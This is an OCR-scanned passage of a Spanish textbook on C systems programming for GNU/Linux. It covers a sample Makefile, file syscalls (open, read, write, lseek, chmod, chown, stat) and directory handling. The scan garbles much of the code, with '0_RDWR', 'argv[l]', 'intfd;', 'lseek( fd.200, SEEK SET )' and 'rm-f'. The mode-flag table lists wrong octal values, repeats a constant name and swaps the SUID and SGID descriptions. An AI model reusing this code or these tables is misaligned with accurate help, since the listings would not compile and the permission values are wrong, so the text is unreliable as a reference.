La manera mas sencilla de entender como funciona make es con un 
Makefile de ejemplo: 

# Makefile de ejemplo 
# 

# version 0.1 
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# 



CC := gcc 
CFLAGS := -02 

MODULOS = ventana.o gestion.o bd.ojuego 

.PHONY : clean install 

all : $(MODULOS) 

%.o : %.c 

$(CC) $(CFLAGS) -c $<.c -o $@ 

ventana.o : ventana.c 

bd.o : bd.c 

gestion.o : gestion.c ventana.o bd.o 

$(CC) $(CFLAGS) -c $<.c -o $@ 
$(CC) $* -o $@ 

juego: juego.c ventana.o bd.o gestion.o 
$(CC) $(CFLAGS) -c $<.c -o $@ 
$(CC) $* -o $@ 

clean: 

rm-f $(MODULOS) 

install: 

cp juego /usr/games/juego 



1.5 Programando en C para GNU/Linux 

Llevamos varios apartados hablando de todo lo que rodea a la 
programacion en GNU/Linux, pero no terminamos de entrar en materia. En 
lo sucesivo comenzaremos desde lo mas basico, para ir posteriormente 
viendo las llamadas al sistema mas comunes y terminar con 
Intercomunicacion Entre Procesos (IPC) y sockets en redes TCP/IP. 

1.5.1 Hola, mundo! 

Si hay un programa obligatorio a la hora de empezar a programar en un 
lenguaje de programacion, ese es el mitico "Hola, mundo!". La mania de 
utilizar un programa que saque por pantalla "Hola, mundo!" para mostrar un 
programa de ejemplo en un determinado lenguaje se remonta -una vez mas- 
a los origenes de C y UNIX, con Kerningan, Ritchie, Thompson y compahia 
haciendo de las suyas. 

Para programar un "Hola, mundo!" en C para GNU/Linux simplemente 
tendremos que editar un fichero, "hola.c, que contenga algo similar a esto: 
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#include <stdio.h> 

int main( int argc, char *argv[] ) 
{ 

printf( "Hola, mundo!\n" ); 
return 0; 

} 

Queda fuera del ambito de este libro explicar de forma detallada la 
sintaxis de C, por lo que pasaremos a analizar el proceso de compilacion 
desde nuestro fichero fuente ("hola.c) al fichero ejecutable ("hola"): 

txipi@neon:~$ gcc hola.c -o hola 
txipi@neon:~$ ./hola 
Hola, mundo! 
txipi@neon:~$ 

Como podemos observar, el proceso es muy sencillo. Hay que tener 
especial cuidado en anadir el directorio a la hora de llamar al ejecutable 
(". /hola) porque en GNU/Linux la variable path no contiene al directorio 
actual. Asi, por mucho que haqamos "cd" para cambiar a un determinado 
directorio, siempre tendremos que incluir el directorio en la llamada al 
ejecutable, en este caso incluimos el directorio actual, es decir 

1.5.2 Llamadas sencillas 

Con el "Hola, mundo!" hemos empleado la funcion estandar de C, printf(). 
En la libreria qlibC, la libreria estandar de C de GNU, printfO esta 
implementada como una serie de llamadas al sistema que sequramente 
realizaran alqo parecido a esto: 

1. Abrir el fichero stdout (salida estandar) para escritura. 

2. Analizar y calcular la cadena que hay que sacar por 

STDOUT. 

3. Escribir en el fichero stdout la anterior cadena. 

En realidad, como vemos, printfO desemboca en varias llamadas al 
sistema, para abrir ficheros, escribir en ellos, etc. Por lo tanto, no siempre 
que utilicemos una funcion de C se llamara a una unica syscall o llamada al 
sistema, sino que funciones relativamente complejas pueden dar luqar a 
varias sy calls. 

La manera mas sencilla de entender el sistema es utilizando las funciones 
basicas, aquellas que se corresponden fielmente con la syscall a la que 
llaman. Entre las mas basicas estan las de manejo de ficheros. Ya hemos 
dicho que en UNIX en qeneral, y en GNU/Linux en particular, todo es un 
fichero, por lo que estas syscalls son el ABC de la proqramacion de sistemas 
en UNIX. 

Comencemos por crear un fichero. Existen dos maneras de abrir un 
fichero, open() y creat(). Antiquamente open() solo podia abrir ficheros que ya 
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estaban creados por lo que era necesario hacer una llamada a creat( para 
llamar a open()posteriormente. A dia de hoy open() es capaz de crear ficheros, 
ya que se ha ahadido un nuevo parametro en su prototipo: 

int creat( const char *pathname, mode_t mode ) 

int open( const char *pathname, int flags ) 

int open( const char *pathname, int flags, mode_t mode ) 

Como vemos, la nueva open() es una suma de las funcionalidades de la 
open() oriqinal y de creat(). Otra cosa que puede llamar la atencion es el hecho 
de que el tipo del parametro "mode" es "mode_t". Esta clase de tipos es 
bastante utilizado en UNIX y suelen corresponder a un "int" o "unsigned int" en 
la mayoria de los casos, pero se declaran asi por compatibilidad hacia atras. 
Por ello, para emplear estas syscalls se suelen incluir los ficheros de 
cabecera: 

#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 

El funcionamiento de open() es el siquiente: al ser llamada intenta abrir el 
fichero indicado en la cadena "pathname" con el acceso que indica el 
parametro "flags". Estos "flaqs" indican si queremos abrir el fichero para 
lectura, para escritura, etc. La siquiente tabla especifica los valores que 
puede tomar este parametro: 



Indicador 


Valor 


Descripcion 


0 RDONLY 


0000 


El fichero se abre solo para lectura. 


0 WRONLY 


0001 


El fichero se abre solo para escritura. 


0 RDWR 


0002 


El fichero se abre para lectura y escritura. 


0_RANDOM 


0010 


El fichero se abre para ser accedido de forma 
aleatoria (tipico de discos). 


0_SEQUENTIAL 


0020 


El fichero se abre para ser accedido de forma 
secuencial (tipico de cintas). 


0 TEMPORARY 


0040 


El fichero es de caracter temporal. 


0_CREAT 


0100 


El fichero debera ser creado si no existia 
previamente. 


0_EXCL 


0200 


Provoca que la llamada a open falle si se 
especifica la opcion 0_CREAT y el fichero ya 
existia. 


0_NOCTTY 


0400 


Si el fichero es un dispositivo de terminal (TTY), no 
se convertira en la terminal de control de proceso 
(CTTY). 


0 TRUNC 


1000 


Fija el tamano del fichero a cero bytes. 


0_APPEND 


2000 


El apuntador de escritura se situa al final del 
fichero, se escribiran al final los nuevos datos. 


0_NONBLOCK 


4000 


La apertura del fichero sera no bloqueante. Es 
equivalente a 0_N DELAY. 


0_SYNC 


10000 


Fuerza a que todas las escrituras en el fichero se 
terminen antes de que se retorne de la llamada al 
sistema. Es equivalente a 0_FSYNC 


0_ASYNC 


20000 


Las escrituras en el fichero pueden realizarse de 
manera asincrona. 


0 DIRECT 


40000 


El acceso a disco se producira de forma directa. 
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0. 


LARGEFILE 


100000 


Utilizado solo para ficheros extremadamente 
grandes. 


0 


DIRECTORY 


200000 


El fichero debe ser un directorio. 


0_ 


_NOFOLLOW 


400000 


Fuerza a no seguir los enlaces simbolicos. Util en 
entornos criticos en cuanto a seguridad. 



Tabla 1.5.3 Lista de los posibles valores del argumento "flags". 

La lista es bastante extensa y los valores estan pensados para que sea 
posible concatenar o sumar varios de ellos, es decir, hacer una OR logica 
entre los diferentes valores, consiguiendo el efecto que deseamos. Asi pues, 
podemos ver que en realidad una llamada a creat( ]biene su equivalente en 
openQ de esta forma: 

open( pathname, O CREAT | 0_TRUNC | 0_WRONLY, mode ) 

El argumento "mode " se encarga de definir los permisos dentro del 
Sistema de Ficheros (de la manera de la que lo haciamos con el comando 
"chmod "). La lista completa de sus posibles valores es esta: 



Indicador 


Valor 


Descripcion 


S IROTH 


0000 


Activar el bit de lectura para todo los usuarios. 


SJWOTH 


0001 


Activar el bit de escritura para todo los usuarios. 


S IXOTH 


0002 


Activar el bit de ejecucion para todo los usuarios. 


SJRGRP 


0010 


Activar el bit de lectura para todo los usuarios 
pertenecientes al grupo. 


SJRGRP 


0020 


Activar el bit de escritura para todo los usuarios 
pertenecientes al grupo. 


SJRGRP 


0040 


Activar el bit de ejecucion para todo los usuarios 
pertenecientes al grupo. 


S IRUSR 


0100 


Activar el bit de lectura para el propietario. 


S IWUSR 


0200 


Activar el bit de escritura para el propietario. 


SJXUSR 


0400 


Activar el bit de ejecucion para el propietario. 


S ISVTX 


1000 


Activa el "sticky bit" en el fichero. 


S ISGID 


2000 


Activa el bit de SUID en el fichero. 


S ISUID 


4000 


Activa el bit de SGID en el fichero. 


SJRWXU 


S IRUSR + 
S IWUSR + 
S IXUSR 


Activar el bit de lectura, escritura y ejecucion para 
el propietario. 


SJRWXG 


S IRGRP + 
S IWGRP + 
S IXGRP 


Activar el bit de lectura, escritura y ejecucion para 
todo los usuarios pertenecientes al grupo. 


SJRWXO 


S IROTH + 
S IWOTH + 
S IXOTH 


Activar el bit de lectura, escritura y ejecucion para 
todo los usuarios. 



Tabla 1.5.4 Lista de los posibles valores del argumento "mode". 

Todos estos valores se definen en un fichero de cabecera , por lo que 
conviene incluirlo: 

#include <sys/stat.h> 

Una llamada correcta a open ( ) devuelve un entero que corresponde al 
descriptor de fichero para manejar el fichero abierto. Cada proceso maneja 
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una tabla de descriptores de fichero que le permiten manejar dichos ficheros 
de forma sencilla. Inicialmente las entradas 0, 1 y 2 de esa tabla estan 
ocupadas por los ficheros stdin, stdcut y stderr respectivamente, es decir, la 
entrada estandar, la salida estandar y la salida de error estandar: 



Figura 1.5.2 Los descriptores de fichero iniciales de un proceso. 

Podriamos entender esa tabla de descriptores de fichero como un Hotel 
en el que inicialmente las tres primeras habitaciones estan ocupadas por los 
clientes stdin, stdout y stderr. Conforme vayan viniendo mas clientes (se 
abran nuevos archivos), se les ira acomodando en las siguientes 
habitaciones. Asi un fichero abierto nada mas iniciarse el proceso, es 
bastante probable que tenga un descriptor de fichero cercano a 2. En este 
"Hotel" siempre se asigna la "habitacion" mas baja a cada nuevo cliente. 
Esto habra que tomarlo en cuenta en futures programas. 

Bien, ya sabemos abrir ficheros y crearlos si no existieran, pero no 
podemos ir dejando ficheros abiertos sin cerrarlos convenientemente. Ya 
sabeis que C se caracteriza por tratar a sus programadores como personas 
responsables y no presupone ninguna nihera del estilo del recolector de 
basuras, o similares. Para cerrar un fichero basta con pasarle a la syscall 
closeO el descriptor de fichero como argumento: 

int close( int fd) 

Resulta bastante sencillo. Veamos todo esto en accion en un ejemplo: 

#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 

int main( int argc, char *argv[] ) 
{ 

intfd; 

if( (fd = open( argv[l], 0_RDWR )) == -1 ) 
{ 

perror( "open" ); 
exit( -1 ); 

} 




r 



STDIN (0) 
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printf( "El fichero abierto tiene el descriptor %d.\n", fd ); 
close( fd ); 
return 0; 

} 

Inicialmente tenemos los ficheros de cabecera necesarios, tal y como 
hemos venido explicando hasta aqm. Seguidamente declaramos la variable 
"fd" que contendra el descriptor de fichero, y realizamos una llamada a 
openO, guardando en "fd" el resultado de dicha llamada. Si "fd" es -1 significa 
que se ha producido un error al abrir el fichero, por lo que saldremos 
advirtiendo del error. En caso contrario se continua con la ejecucion del 
programa, mostrando el descriptor de fichero por pantalla y cerrando el 
fichero despues. El funcionamiento de este programa puede verse aqui: 

txipi@neon:~$ gcc fichero. c -o fichero 

txipi@neon:~$ ./fichero fichero. c 

El fichero abierto tiene el descriptor 3. 

El siguiente paso logico es poder leer y escribir en los ficheros que 
manejemos. Para ello emplearemos dos syscalls muy similares: read() y writeO. 
Aqui tenemos sus prototipos: 

ssize_t read( int fd, void *buf, size_t count ) 

ssize_t write( int fd, void *buf, size_t count ) 

La primera de ellas intenta leer "count" bytes del descriptor de fichero 
definido en "fd", para guardarlos en el buffer "buf". Decimos "intenta" porque 
es posible que en ocasiones no consiga su objetivo. Al terminar, read() 
devuelve el numero de bytes leidos, por lo que comparando este valor con la 
variable "count" podemos saber si ha conseguido leer tantos bytes como 
pediamos o no. Los tipos de datos utilizados para contar los bytes leidos 
pueden resultar un tanto extrahos, pero no son mas que enteros e esta 
version de GNU/Linux, como se puede ver en el fichero de cabeceras: 

txipi@neon:~$ grep ssize /usr/include/bits/types.h 

typedef int ssize_t; /* Type of a byte count, or error. */ 

txipi@neon:~$ grep ssize /usr/include/unistd.h 

#ifndef ssize_t_defined 

typedef ssize_t ssize_t; 

# define ssize_t_defined 

[...] 

El uso de la funcion writeO es muy similar, basta con llenar el buffer "buf" 
con lo que queramos escribir, definir su tamaho en "count" y especificar el 
fichero en el que escribiremos con su descriptor de fichero en "fd". Veamos 
todo esto en accion en un sencillo ejemplo: 

#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 



Programacion de Sistemas 



26 



#define STDOUT 1 
#define SIZE 512 



int main( int argc, char *argv[] ) 
{ 

int fd, read bytes; 
char buffer[SIZE]; 

if( (fd = open( argv[l], 0_RDWR )) == -1 ) 
{ 

perror( "open" ); 
exit( -1 ); 

} 

while( (readbytes = read( fd, buffer, SIZE )) ! = 0 ) 
{ 

/* write( STDOUT, buffer, SIZE ); */ 

write( STDOUT, buffer, readbytes ); 

} 

close( fd ); 
return 0; 

} 

Como se puede observar, inicialmente definimos dos constantes, stdout 
para decir que el descriptor de fichero que define la salida estandar es 1, y 
size, que indica el tamano del buffer que utilizaremos. Sequidamente 
declaramos las variables necesarias e intentamos abrir el fichero pasado por 
parametro (argv[i]) con acceso de lectura/escritura. Si se produce un error (la 
salida de open() es -1), salimos indicando el error, si no, sequimos. Despues 
tenemos un bucle en el que se va a leer del fichero abierto ("fd") de size en 
size bytes hasta que no quede mas (read() devuelva 0 bytes leidos). En cada 
vuelta del bucle se escribira lo leido por la stdout, la salida estandar. 
Finalmente se cerrara el descriptor de fichero con close(). 

En resumidas cuentas este proqrama lo unico que hace es mostrar el 
contenido de un fichero por la salida estandar, parecido a lo que hace el 
comando "cat" en la mayoria de ocasiones. 

Existe una linea de codigo que esta comentada en el listado anterior: 
/* write( STDOUT, buffer, SIZE ); */ 

En esta llamada a writeO no se esta teniendo en cuenta lo que ha 
devuelto la llamada a read() anterior, sino que se haya leido lo que se 
haya leido, se intentan escribir size bytes, es decir 512 bytes. iQue 
sucedera al llamar al programa con esta linea en lugar de con la 
otra? Bien, si el fichero que pasamos como parametro es 
medianamente grande, los primeros ciclos del bucle while 
funcionaran correctamente, ya que read() devolvera 512 como 
numero de bytes leidos, y writeO los escribira correctamente. Pero en 
la ultima iteracion del bucle, read() leera menos de 512 bytes, porque 
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es muy probable que el tamano del fichero pasado por parametro no 
sea multiplo de 512 bytes. Entonces, readOhabra leido menos de 
512 bytes y write()seguira tratando de escribir 512 bytes. El 
resultado es que write() escribira caracteres "basura" que se 
encuentran en ese momento en memoria: 

txipi@neon:~ $ gcc files. c -o files 
txipi@neon:~ $ ./files files. c 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 

#define STDOUT 1 
#define SIZE 512 

int main(int argc, char *argv[]) 
{ 

int fd, readbytes; 
char buffer[SIZE]; 

if( (fd=open(argv[l], 0_RDWR)) == -1 ) 
{ 

perror("open"); 
exit(-l); 

} 

while( (readbytes=read(fd, buffer, SIZE)) ! = 0 ) 
{ 

/* write(STDOUT, buffer, readbytes); */ 

write(STDOUT, buffer, SIZE); 

} 

close(fd); 
return 0; 

} 

@p@N''@ , @Ayyi4yyd6(t%@ , @i8yy<LD&@ 

,, &@ , @Xyy<LU , @Xyy<L@txipi@neon:~ $ 

Tal y como muestra este ejemplo, inicialmente el programa funciona bien, 
pero si no tenemos en cuenta los bytes leidos por read(), al final terminaremos 
escribiendo caracteres "basura". 

Otra funcion que puede ser de gran ayuda es lseek(). Muchas veces no 
queremos posicionarnos al principio de un fichero para leer o para escribir, 
sino que lo que nos interesa es posicionarnos en un desplazamiento concreto 
relativo al comienzo del fichero, o al final del fichero, etc. La funcion IseekO 
nos proporciona esa posibilidad, y tiene el siguiente prototipo: 

off_t lseek(int fildes, off_t offset, int whence); 

Los parametros que recibe son bien conocidos, "fildes" es el descriptor de 
fichero, "offset" es el desplazamiento en el que queremos posicionarnos, 
relativo a lo que indique "whence", que puede tomar los siguientes valores: 



Programacion de Sistemas 



28 



Indicador 


Valor 


Descripcion 


SEEKSET 


0 


Posiciona el puntero a "offset" bytes desde el 
comienzo del fichero. 


SEEK_CUR 


1 


Posiciona el puntero a "offset" bytes desde la 
posicion actual del puntero.. 


SEEK_END 


2 


Posiciona el puntero a "offset" bytes desde el final 
del fichero. 



Tabla 1.5.5 Lista de los posibles valores del argumento "whence". 

Por ejemplo, si queremos leer un fichero y saltarnos una cabecera de 200 
bytes, podriamos hacerlo asi: 



#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 

#define STDOUT 1 
#define SIZE 512 

int main( int argc, char *argv[] ) 
{ 

int fd, readbytes; 
char buffer[SIZE]; 

if( (fd = open( argv[l], 0_RDWR )) == -1 ) 
{ 

perror( "open" ); 
exit( -1 ); 

} 

lseek( fd.200, SEEK SET ); 

while( (readbytes = read( fd, buffer, SIZE )) ! = 0 ) 
{ 

write( STDOUT, buffer, SIZE ); 

} 



close(fd); 
return 0; 



Esta funcion tambien utiliza tipos de variables algo "esotericos", como 
off j:que al igual que los tipos vistos hasta ahora, no son mas que otra forma 
de llamar a un entero largo y se mantienen por compatibilidad entre los 
diferentes UNIX: 



txipi@neon:~$ grep off_t /usr/include/bits/types.h 

typedef long int off_t; /* Type of file sizes and offsets. */ 

typedef quad_t loff_t; /* Type of file sizes and offsets. */ 

typedef _loff_t _off64_t; 



Ya sabemos crear, abrir, cerrar, leer y escribir, icon esto se puede hacer 
de todo! Para terminar con las funciones relacionadas con el manejo de 
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ficheros veremos chmodO, chown() y stat(), para modificar el modo y el 
propietario del fichero, o acceder a sus caracteristicas, respectivamente. 

La funcion chmod() tiene el mismo uso que el comando del mismo nombre: 
cambiar los modos de acceso permitidos para un fichero en concreto. Por 
mucho que estemos utilizando C, nuestro proqrama sique sujeto a las 
restricciones del Sistema de Ficheros, y solo su propietario o root podran 
cambiar los modos de acceso a un fichero determinado. Al crear un fichero, 
bien con creat() o bien con open(), este tiene un modo que estara en funcion de 
la mascara de modos que este confiqurada (ver "man umask"), pero podremos 
cambiar sus modos inmediatamente haciendo uso de una de estas funciones: 

int chmocKconst char *path, mode_t mode); 
int fchmod(int fildes, mode_t mode); 

Viendo el prototipo de cada funcion, podemos averiquar su 
funcionamiento: la primera de ellas, chmodO, modifica el modo del fichero 
indicado en la cadena "path". La sequnda, fchmodO, recibe un descriptor de 
fichero, "fildes", en luqar de la cadena de caracteres con la ruta al fichero. El 
parametro "mode" es de tipo "mode_t", pero en GNU/Linux es equivalente a 
usar una variable de tipo entero. Su valor es exactamente el mismo que el 
que usariamos al llamar al comando "chmod", por ejemplo: 

chmod( "/home/txipi/prueba", 0666 ); 

Para modificar el propietario del fichero usaremos las siquientes 
funciones: 

int chown(const char *path, uid_t owner, gid_t group); 

int fchown(int fd, uid_t owner, gid_t group); 

int lchown(const char *path, uid_t owner, gid_t group); 

Con ellas podremos cambiar el propietario y el qrupo de un fichero en 
funcion de su ruta ( chownQ y IchownO ) y en funcion del descriptor de fichero ( 
fchown() ). El propietario ("owner") y el qrupo ("group") son enteros que 
identifican a los usuarios y qrupos, tal y como especifican los ficheros 
"/etc/passwd" y "/etc/group". Si fijamos alquno de esos dos parametros ("owner" o 
"group") con el valor -1, se entendera que deseamos que permanezca como 
estaba. La funcion IchownO es identica a chown() salvo en el tratamiento de 
enlaces simbolicos a ficheros. En versiones de Linux anteriores a 2.1.81 (y 
distintas de 2.1.46), chown() no sequia enlaces simbolicos. Fue a partir de 
Linux 2.1.81 cuando chownQ comenzo a sequir enlaces simbolicos y se creo 
una nueva syscall, IchownO, que no sequia enlaces simbolicos. Por lo tanto, si 
queremos aumentar la sequridad de nuestros proqramas, emplearemos 
IchownO, para evitar malentendidos con enlaces simbolicos confusos. 

Cuando el propietario de un fichero ejecutable es modificado por un 
usuario normal (no root), los bits de SUID y SGID se deshabilitan. El 
estandar POSIX no especifica claramente si esto deberia ocurrir tambien 
cuando root realiza la misma accion, y el comportamiento de Linux depende 
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de la version del kernel que se este empleando. Un ejemplo de su uso podria 
ser el siguiente: 



gid_t grupo = 100; /* 100 es el GID del grupo users */ 



chown( "/home/txipi/prueba", -1, grupo); 



Con esta llamada estamos indicando que queremos modificar el 
propietario y grupo del fichero "/hcme/txipi/pruettedejando el propietario 
como estaba (-1), y modificando el grupo con el valor 100, que corresponde 
al grupo "users": 



txipi@neon:~$ grep 100 /etc/group 
users:x:100: 



Ya solo nos queda saber como acceder a las caracteristicas de un fichero, 
mediante el uso de la funcion stat(.)Esta funcion tiene un comportamiento 
algo diferente a lo visto hasta ahora: utiliza una estructura de datos con 
todas las caracteristicas posibles de un fichero, y cuando se llama a stat($e 
pasa una referencia a una estructura de este tipo. Al final de la syscall, 
tendremos en esa estructura todas las caracteristicas del fichero 
debidamente cumplimentadas. Las funciones relacionadas con esto son las 
siguientes: 



int stat(const char *file_name, struct stat *buf); 

int fstat(int filedes, struct stat *buf); 

int lstat(const char *file_name, struct stat *buf); 



Es decir, muy similares a chown(), fchown()y IchownQ, pero en lugar de 
precisar los propietarios del fichero, necesitan como segundo parametro un 
puntero a una estructura de tipo "stat": 



struct stat { 
dev_t st_dev; /* dispositivo */ 

ino_t stjno; /* numero de inode */ 
mode_t st_mode; /* modo del fichero */ 

nlink_t st_nlink; /* numero de hard links */ 

uid_t st_uid; /* UID del propietario*/ 

gid_t st_gid; /* GID del propietario */ 
dev_t st_rdev; /* tipo del dispositivo */ 

off_t st_size; /* tamaho total en bytes */ 
blksize_t st_blksize; /* tamano de bloque preferido */ 
blkcnt_t st_blocks; /* numero de bloques asignados */ 
time_t st_atime; /* ultima hora de acceso */ 
time_t stjmtime; /* ultima hora de modificacion */ 
time_t st_ctime; /* ultima hora de cambio en inodo */ 

}; 



Como vemos, tenemos acceso a informacion muy detallada y precisa del 
fichero en cuestion. El siguiente ejemplo muestra todo esto en 
funcionamiento: 



#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 



Programacion de Sistemas 



31 



int main( int argc, char *argv[] ) 
{ 

struct stat estructura; 

if( ( lstat( argv[l], &estructura ) ) < 0 ) 
{ 

perror( "Istat" ); 
exit( -1 ); 

} 

printf( "Propiedades del fichero <%s>\n", argv[l] ); 

printf( "i-nodo: %d\n", estructura. stjno ); 

printf( "dispositivo: %d, %d\n", major( estructura. st_dev ), 

minor( estructura. st_dev ) ); 
printf( "modo: %#o\n", estructura. st_mode ); 
printf( "vinculos: %d\n", estructura. st_nlink ); 
printf( "propietario: %d\n", estructura.st_uid ); 
printf( "grupo: %d\n", estructura. st gid ); 
printf( "tipo del dispositivo: %d\n", estructura. st_rdev ); 
printf( "tamano total en bytes: %ld\n", estructura. st_size ); 
printf( "tamano de bloque preferido: %d\n", 

estructura. st_blksize ); 
printf( "numero de bloques asignados: %d\n", 

estructura. st_blocks ); 
printf( "ultima hora de acceso: %s", 

ctime( &estructura.st_atime ) ); 
printf( "ultima hora de modificacion: %s", 

ctime( &estructura.st_mtime ) ); 
printf( "ultima hora de cambio en inodo: %s", 

ctime( &estructura.st_ctime ) ); 

return 0; 

} 

Hay algunos detalles destacables en el anterior codigo: 

• Hemos llamado a las funciones major ( )y minor ( ) para 
obtener los bits de mayor peso y de menor peso del 
campo st dev, con el fin de mostrar la informacion de 
forma mas razonable. 

• Utilizamos "%#o" para mostrar de forma octal el modo de 
acceso del fichero, sin embargo aparecen mas cifras 
octales gue las 4 gue conocemos. Esto es porgue tambien 
se nos informa en ese campo del tipo de fichero (si es un 
directorio, un dispositivo de blogues, secuencial, un 
FIFO, etc.). 

• Hemos empleado la funcion ctimeQ para convertir el 
formato de fecha interno a un formato legible por las 
personas normales. 

Un posible resultado de la ejecucion del codigo anterior puede ser este: 

txipi@neon:~$ gcc stat.c -o stat 
txipi@neon:~$ ./stat stat.c 
Propiedades del fichero <stat.c> 
i-nodo: 1690631 
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dispositivo: 3, 3 

modo: 0100644 

vinculos: 1 

propietario: 1000 

grupo: 100 

tipo del dispositivo: 0 

tamano total en bytes: 1274 

tamano de bloque preferido: 4096 

numero de bloques asignados: 8 

ultima hora de acceso: Tue Nov 12 13:33:15 2002 

ultima hora de modificacion: Tue Nov 12 13:33:12 2002 

ultima hora de cambio en inodo: Tue Nov 12 13:33:12 2002 



1.5.3 Manejo de directories 

Ya hemos visto las syscalls mas basicas -y mas importantes- a la hora de 
manejar ficheros, pero muchas veces con esto no basta para funcionar 
dentro del Sistema de Ficheros. Tambien es necesario controlar en que 
directorio estamos, como crear o borrar un directorio, poder saltar a otro 
directorio o incluso recorrer un arbol de directorios al completo. En este 
apartado estudiaremos cada una de esas funciones detalladamente. 

Comencemos por lo mas sencillo: d-donde estoy? Es decir, (Lcual es el 
directorio de trabajo actual (CWD)? Las funciones encargada de 
proporcionarnos ese dato son getcwdQ getcurrent_d i r_namey)getwd(), y tienen 
los siguientes prototipos: 

char *getcwd(char *buf, size_t size); 
char *get_current_dir_name(void); 
char *getwd(char *buf); 

La funcion getcwdO devuelve una cadena de caracteres con la ruta 
completa del directorio de trabajo actual, que almacenara en el buffer "buf", 
de tamano "size". Si el directorio no cabe en el buffer, retornara null, por lo 
que es conveniente usar alguna de las otras dos funciones. Veamos un 
ejemplo de su funcionamiento: 

#include <unistd.h> 

int main( int argc, char *argv[] ) 
{ 

char buffer[512]; 

printf( "El directorio actual es: %s\n", 
getcwd( buffer, -1 ) ); 

return 0; 

} 

Este programa funciona correctamente para el directorio actual 
("/home/txipi"), como podemos observar: 

txipi@neon:~ $ ./getcwd 

El directorio actual es: /home/txipi 
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txipi@neon:~ $ 

Otra posibilidad para obtener el directorio actual podria ser la de leer la 
variable en entorno "RAD ". Cuando hacemos un "echo $fv\d" en el interprete 
de comandos, conseguimos la misma informacion que getcwd(). Por lo tanto, 
podriamos servirnos de la funcion getenv() para tomar el valor de la variable 
de entorno "pwd". Para mas detalles, consultar la pagina del man de getenv(). 

Si lo que queremos es movernos a otro directorio, deberemos utilizar 
alguna de estas funciones: 

int chdir(const char *path); 
int fchdir(int fd); 

Como en anteriores ocasiones, su funcionamiento es el mismo, solo que 
en la primera el nuevo directorio de trabajo es pasado como una cadena de 
caracteres, y en la segunda como un descriptor de fichero previamente 
abierto. Ambas devuelven 0 si todo ha ido bien, y -1 si se ha producido algun 
error. 

Para crear y borrar directories tenemos una serie de funciones a nuestra 
disposicion, con prototipos muy familiares: 

int mkdir(const char *pathname, mode_t mode); 
int rmdir(const char *pathname); 

Ambas son el fiel reflejo de los comandos que representan: rmdir() borra el 
directorio especificado en "pathname" y exige que este este vacio, mkdir() crea 
el directorio especificado en "pathname", con el modo de acceso especificado 
en el parametro "mode" (tipicamente un valor octal como "0755", etc.). Un 
ejemplo de su manejo aclarara todas nuestras posibles dudas: 

#include <unistd.h> 

int main( int argc, char *argv[] ) 
{ 

char buffer[512]; 

printf( "El directorio actual es: %s\n", 

getcwd( buffer, -1 ) ); 
chdir( ); 

mkdir( ". /d i recto riol", 0755 ); 
mkdir( M ./directorio2", 0755 ); 
rmdir( "./directoriol" ); 

return 0; 

} 

Probemos a ver si todo funciona correctamente: 

txipi@neon:~$ gec directorios.c -o directorios 
txipi@neon:~$ mkdir prueba 
txipi@neon:~$ mv directorios prueba/ 
txipi@neon:~$ cd prueba/ 
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txipi@neon:~/prueba$ ./directorios 

El directorio actual es: /home/txipi/prueba 

txipi@neon:~/prueba$ Is 

directorios 

txipi@neon:~/prueba$ cd .. 
txipi@neon:~$ Is 
directorios. c directorio2 
txipi@neon:~$ Is -Id directorio2/ 

drwxr-xr-x 2 txipi users 4096 2002-11-12 19:11 directorio2/ 

Parece que si. De momento estamos teniendo bastante suerte, pero 
porque todo lo visto hasta ahora era muy facil. Vamos a ver si somos capaces 
de darle mas vidilla a esto, y poder hacer un recorrido de directorios a traves 
de las complicadas y tenebrosas estructuras di rent Las fimciones 
relacionadas con el listado de directorios son las siquientes: 

DIR *opendir(const char *name); 
struct dirent *readdir(DIR *dir); 
int closedir(DIR *dir); 

Con la primera de ellas consequimos una variable de tipo DiRen funcion 
de una ruta definida por la cadena de caracteres "name ". Una vez obtenida 
dicha variable de tipo dir, se la pasamos como parametro a la funcion 
readdir(), que nos proporcionara un puntero a una estructura de tipo dirent, es 
decir, a la entrada del directorio en concreto a la que hemos accedido. En 
esa estructura dirent tendremos todos los datos de la entrada de directorio 
que a la que estamos accediendo: inodo, distancia respecto del comienzo de 
directorio, tamano de la entrada y nombre: 

struct dirent { 

ino_t djno; // numero de i-node de la entrada de directorio 
off_t d_off; // offset 

wchar_t d_reclen; // longitud de este registro 

char d_name[MAX_LONG_NAME+l] // nombre de esta entrada 

} 

A primera vista parece compleja, pero ya hemos lidiado con estructuras 
mas qrandes como stat, y ademas, solo nos interesa el ultimo campo. Bueno, 
ya estamos en disposiciones de recorrer un directorio: lo abriremos con 
opendirQ, iremos leyendo cada una de sus entradas con readdir() hasta que no 
queden mas (readdirO no devuelva null), y cerraremos el directorio con 
closedir(), es simple: 

#include <stdio.h> 
#include <stdlib.h> 
#include <dirent.h> 

int main( int argc, char *argv[] ) 
{ 

DIR*dir; 

struct dirent *mi_dirent; 

if( argc != 2 ) 
{ 

printf( "%s: %s directorio\n", argv[0], argv[0] ); 
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exit( -1 ); 

} 

if( (dir = opendir( argv[l] )) == NULL ) 
{ 

perror( "opendir" ); 
exit( -1 ); 

} 

while( (mi_dirent = readdir( dir )) != NULL ) 
printf( "%s\n", mi_dirent->d_name ); 

closedir( dir ); 

return 0; 

} 

El resultado de la ejecucion de este programa se parece mucho al 
esperado: 

txipi@neon:~$ gcc dirs.c -o dirs 
txipi@neon:~$ ./dirs 
./dirs: ./dirs di recto rio 
txipi@neon:~$ ./dirs . 



files. c 
files 
stat.c 
stat 

makefile 

clean 

getcwd.c 

getcwd 

directorios.c 

dirs.c 

prueba 

directories 

dirs 



1.5.4 Jugando con los permisos 

Antes de meternos con la comunicacion entre procesos me gustaria 
comentar algunas curiosidades sobre los permisos en GNU/Linux. Como ya 
hemos dicho al principio de este capitulo, mientras un programa se esta 
ejecutando dispone de una serie de credenciales gue le permiten acreditarse 
frente al sistema a la hora de acceder a sus recursos, es decir, son como la 
tarjeta de acceso en un edificio muy burocratizado como pueda ser el 
Pentagono: si tu tarjeta es de nivel 5, no puedes acceder a salas de nivel 6 o 
superior, las puertas no se abren (y ademas es probable gue guede un 
registro de tus intentos fallidos). Dentro de esas credenciales, las gue mas se 
suelen utilizar son el uidy el gid, asi como el euid y el egid. Estas dos parejas 
informan de gue usuario real y efectivo esta ejecutando el programa en 
